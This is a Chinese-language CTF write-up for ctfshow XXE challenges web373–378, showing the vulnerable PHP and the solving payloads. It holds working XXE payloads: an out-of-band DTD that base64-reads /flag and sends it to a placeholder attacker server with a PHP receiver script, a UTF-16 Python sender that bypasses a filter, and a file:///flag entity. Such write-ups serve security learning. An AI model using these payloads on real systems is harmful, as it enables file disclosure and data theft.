xxe

基本概念

参考
https://xz.aliyun.com/t/3357?time__1311=n4%2BxnD0DgGYQwqYq40HpDUxxjxWqD5%2BYP6Qx&alichlgref=https%3A%2F%2Flink.csdn.net%2F%3Ftarget%3Dhttps%253A%252F%252Fxz.aliyun.com%252Ft%252F3357

web373

常规XXE
flag的路径是/flag

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    // 加载xml实体，参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    // 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
    // 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

burpsuite发包，不能用hackbar

paylaod发表不出来，不知道为什么

web374~376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 
?>

无回显的文件读取，需要进行外带

在服务器放置 xxe.php 和 xxe.xml 两个文件

<?php
$content = $_GET['1'];
if(isset($content)){
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{ 
    echo 'no data input';
}

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

抓包发送如下内容

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>

注意post传参

web377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    
?>

过滤了http
但pregmatch不能匹配的UTF-16

改成利用 utf-16 编码即可
利用python脚本发包

import requests
url = 'http://00edd7b9-7fc6-40fd-937d-deb477902dca.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

登录框抓个包，发现是回显 xml 形式，而且是回显 username 的值

payload:

<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY payload SYSTEM "file:///flag">
]>
<user>
<username>&payload;</username>
<password>aaaaa</password>
</user>